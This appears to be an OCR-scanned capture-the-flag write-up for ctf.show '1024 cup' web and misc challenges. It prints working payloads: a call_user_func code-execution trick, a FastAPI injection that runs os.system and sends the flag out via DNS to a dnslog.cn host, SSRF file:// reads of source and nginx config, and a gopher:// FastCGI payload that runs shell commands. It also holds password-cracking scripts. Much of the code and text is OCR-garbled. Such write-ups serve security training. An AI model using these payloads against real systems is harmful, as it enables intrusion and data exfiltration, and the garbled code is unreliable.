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web%s: 3|

error_reporting(9);
highlight_file(__ FILE_ );
call user_func($_GET[ 1);

& & phpinfo

http://1879bc15-8585-46bd-a985-1002b1bf77c9.chall.ctf.show/?f=phpinfo

# Zfunciton & B & %
xmlrpc_error_number 0 0
xmlrpc_errors Off Off
zend.assertions 1 1
zend.detect_unicode On On
zend.enable_gc On On
zend.multibyte Off Off
zend.script_encoding
zend.signal_check Off Off
ctfshow
| i1, retishow_1024 support enabled |
ctype
[ ctype [ enabled |
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= LoadURL http://1879bc15-8585-46bd-a985-1002b1bf77c9.chall.ctf.show/?f=ctfshow_1024
i splitURL
b Execute
| Enable Post data | Enable Referrer
<?php

error_reporting(0);
highlight file(_FILE );
call user func($ GET['f']);
flag{welcome_2_ctfshow_1024_cup}

flag{welcome_2_ctfshow_1024_cup}

web fastapi

http://58201a5d-bea3-497f-97cd-76d65b7d282a.chall. ctf.show/docs

_builtins_ . dict__

system

INT = @ SQL™ XSS” Encryption” Encoding™ Other~
@ LoadURL

B spiturL

http://68201a5d-bea3-497f-97cd-76d65b7d282a.chall.ctf.show/docs

U Execute

Enable Post data Enable Referrer

GET / Hello

POST ‘ /cccalccc Calc

LEMITEER

Parameters

No parameters

Request body "o

q * reqired

string +'ort__]('0s").system("ping “cat /mnt/f1a9".au9xny.dnslog.cn’

Cancel

form-url

w5 )

Clear



Get SubDomain H Refresh Record

au9xny.dnslog.cn

DNS Query Record IP Address Created Time
flag{9d2e7929-8968-489d-bb00-b85c84e8 173.194.171.3 2020-10-26 22:01:45
1fc4}.au9xny.dnslog.cn
flag{9d2e7929-8968-489d-bb00-b85c84e8 173.194.93.24 0020-10-26 22:01:45
1fc4}.au9xny.dnslog.cn
flag{9d2e7929-8968-489d-bb00-b85c84e8 173.194.93.92 2020-10-26 22:01:45

1fca}.au9xny.dnslog.cn

web B H L

http://596ee842-0412-48e1-9b31-9ee55bd398fa.chall.ctf.show/index.php?picurl=aHROcDovL3AucWxvZ28uY24vZ2gvMzcyNjES

MDM4LzM3MjYXOTAzOC8w
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http://596ee842-0412-48e1-9b31-9ee55bd398fa.chall.ctf.show/index.php?picurl=http://p.qlogo.cn/gh/372619038/37261
9038/0
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file:///proc/self/cwd/index.php
?picurl=ZmlsZTovLy9wcm9jL3N1bGYvY3dkL21uZGV4LnBocA==

curl init(explode( ,base64 decode($ GET[ 1))[e]);

curl setopt($ch, CURLOPT_TIMEOUT,2);
curl setopt($ch, CURLOPT CONNECTTIMEOUT,2);
curl setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl setopt($ch, CURLOPT_BINARYTRANSFER, 1);
$data curl exec($ch);
curl close($ch);
header(
print( $data );
unset($data);

}else{

header(
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ERNFserverfit & : /etc/nginx/conf.d/default.conf
file:///etc/nginx/conf.d/default.conf
?picurl=ZmlsZTovLy91dGMvbmdpbngvY29uZi5kL2R1ZmF1bHQuUY29uZg==

server {
listen 80 default_server;
listen [::]:80 default_server;
root var/www/bushihtml;

index index.php index.html;

proxy set header Host $host;
proxy_set_header X-Real-IP $remote_addr;

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

location {
try_files $uri $uri index.php?$args;

location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_ script_name;

location 404 .html {

internal;

“Rgopher#Tfastcgi , ¥ H:49000

gopherus --exploit fastcgi

$ SpyD3r_$

i /Var/Www/bushihtml/index.pﬁp
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ready to do SSRF:
gopher://127.0.0.1:9000/ %01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER SOFTWAREQ0%20/%20fcgiclient%20
%0B%09REMOTE ADDR127.0.0.1%0F%08SERVER PROTOCOLHTTP/1.1%0E%02CONTENT LENGTH56%0E%04REQUEST METHODPOST%09KPHP VALUEallow url include%20%3D%20
On%0Adisable functions%20%3D%20%0Aauto prepend file%20%3D%20php%3A//input%0F%1CSCRIPT FILENAME/var/www/bushihtml/index.php%0D%0@1DOCUMENT ROO
T/%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20systems28%2715%20/%27%29%3Bdie%28%27 Made -by-SpyD3r %0A%27%29%3B%3F%3
E%00%00%00%00

gopher://127.0.0.1:9000/_ %01%01%00%01%007%08%007%00%00%01%00%007%00%00%00%00%01%04%00%01%01%09%01%00%0F %10SERVER_SO
FTWAREg0%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT _LENGTH56%0E%04R
EQUEST_METHODPOST%@9KPHP_VALUEallow_url_include%20%3D%200n%0Adisable functions%20%3D%20%0Aauto_prepend file%20%3
D%20php%3A//input%OF%1CSCRIPT_FILENAME/var/www/bushihtml/index.php%0@D%01DOCUMENT_ ROOT/%00%01%04%00%01%00%007%00%0
07%01%057%00%01%0087%04%00%3C%3Fphp%20system?%28%271s%20/%27%29%3Bdie%28%27

E%00%007%00%00
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@ QO OX-Powered-By: PHP/7.4.11
Content-type: text/html; charset=UTF-8
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117432 123638 981128620 js, Qo
3881 7610 396200469 kDu4d
81068 79650456 ag{We
159614 160139 378260260 V7CK3
133869 133991 392964043 ,in2
7301 11111 754535175 {11,
56556 64405 363299561 tuyWu
111575 116091 220173482 eIRDZ
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8874 18662 906545029 WAR9
134789 143869 734672427 VFWnR
65044 71443 196606611 c{C5
79476 188876 789487416 PpoGi

624 8

0 778210 Find Prev Find All

35498184 9u4fl
78210 81068 79650456 ag{We
81068 86056 65454545 lcom
86056 89556 16548421 _102
89556 91205 26568154 4 _Cha
91205 94156 566512548 lleng
94156 96825 15487856 _Su4
96825 98155 156565645 ck}56

flag{Welcom_ 1024 Challeng Su4ck}

94156 101464 585786209 ruW3i
94156 99346 141290772 jPWxo
06825 112034 54545552 not_
112034 119601 320691220 jYpj_
112034 119745 342725460 FjxoN

misc & H & 3|

level 1
XA RIR RIS all numbers, iR TG R
H AR RCRCER, EHENXMHN10FTi ¥, CRC=0x342F0E5C, 107 CRCEM, T AMA:

from pwn import

from parse import

from pwnlib.util.iters import bruteforce
import string

from binascii import crc32

def brute force():
return bruteforce(lambda x:crc32(x.encode()) ,16),string.digits, length=10,method

print(brute_force())
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StegCracker 2.0.9 - (https://github.com/Paradoxis/StegCracker
Copyright (c) 2020 - Luke Paris (Paradoxis)

Counting lines in wordlist..
Attacking file 'level 2.jpg' with wordlist 'wd'..

Successfully cracked file with password: 0009656856
Tried 1 passwords

Your file has been written to: level 2.jpg.out
0009656856
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R4 7E R The password is 32 bits., 4i&level 2f#H FI3ExR, EFPATRERI32AImMASEE AT, SHEN-RE-IREE, 7 5NiE32
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mERE BEEE BASE64  [E/BASE64%ER

BB3:
AV
BIlEREL:
SHA1 SHA224 SHA256 SHA384 SHA512
HmacSHA1 HmacSHA224 HmacSHA256 HmacSHA384 HmacSHA512 HmacMD5 PBKDF2
MeHE:

a95aead15a4d76c323b13423a22f72c56ca912b6
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while 1:
print( now, end
zfile zipfile.ZipFile(now)
passFile ( )
for line in passFile.readlines():
try:
password line.strip( )
zfile.extractall(members=zfile.namelist(), pwd=password.encode(
zfile.close()
try:
os.remove(now)
except OSError as e:
print(e)
names os.listdir()
print(names)
for name in names:
if name.endswith(
now=name
break
break
except:
pass
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import base64
import random

def bl6de(s):
s base64.bl6decode(s.encode()).decode()
print( )

return s

def b32de(s):
s base64.b32decode(s.encode()).decode()
print( )

return s

def b64de(s):
s base64.b64decode(s.encode()).decode()
print( )

return s

bl6de(s)
except:
try:
s b32de(s)
except:
try:
s b64de(s)
except:
print(
f (
f.write(s)
f.close()

if _ _name__
f (

s f.read()
f.close()
main(s)

decode.txt 242 HL, base64#f % izip 46

base64.b64decode(data)
¢ ) ) as z:
z.write(decoded)
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